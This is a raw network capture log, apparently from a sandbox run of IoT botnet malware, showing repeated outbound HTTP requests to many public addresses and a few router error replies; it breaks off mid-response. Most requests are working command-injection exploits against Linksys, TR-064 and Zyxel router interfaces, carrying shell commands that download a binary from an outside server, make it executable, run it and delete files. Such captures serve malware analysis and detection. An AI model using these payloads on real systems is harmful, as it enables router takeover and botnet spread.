45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:48.885052919 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:55.029500008 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1262	192.168.2.13	43446	174.114.15.251	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.917438030 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1263	192.168.2.13	57356	200.71.100.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.959022045 CET	549	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Cache-Control: no-cache Date: Thu, 21 Mar 2024 01:19:11 GMT Content-Type: text/html Connection: close X-FRAME-OPTIONS: SAMEORIGIN Set-Cookie: sessionID=782396380; path=/; HttpOnly Content-Security-Policy: frame-ancestors *; X-XSS-Protection: 1; mode=block Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1264	192.168.2.13	59754	200.17.231.120	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.974813938 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:45.722526073 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:46.455795050 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1265	192.168.2.13	43452	174.114.15.251	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.045453072 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1266	192.168.2.13	43456	174.114.15.251	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.171679974 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1267	192.168.2.13	43466	174.114.15.251	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.299025059 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1268	192.168.2.13	44956	63.153.16.252	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.389923096 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1269	192.168.2.13	43672	181.168.240.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.440231085 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1270	192.168.2.13	60874	119.197.237.232	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.450387001 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1271	192.168.2.13	37184	175.158.161.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.517165899 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:45.878220081 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 15:18:45 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1272	192.168.2.13	44964	63.153.16.252	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.596800089 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:46.675904989 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1273	192.168.2.13	50842	120.150.63.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.671057940 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1274	192.168.2.13	43686	181.168.240.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.723433018 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1275	192.168.2.13	60888	119.197.237.232	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.731070995 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1276	192.168.2.13	37196	175.158.161.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.878479958 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:46.226463079 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 15:18:45 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1277	192.168.2.13	34368	178.210.172.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.507447958 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:46.741923094 CET	993	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Thu, 21 Mar 2024 04:18:15 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 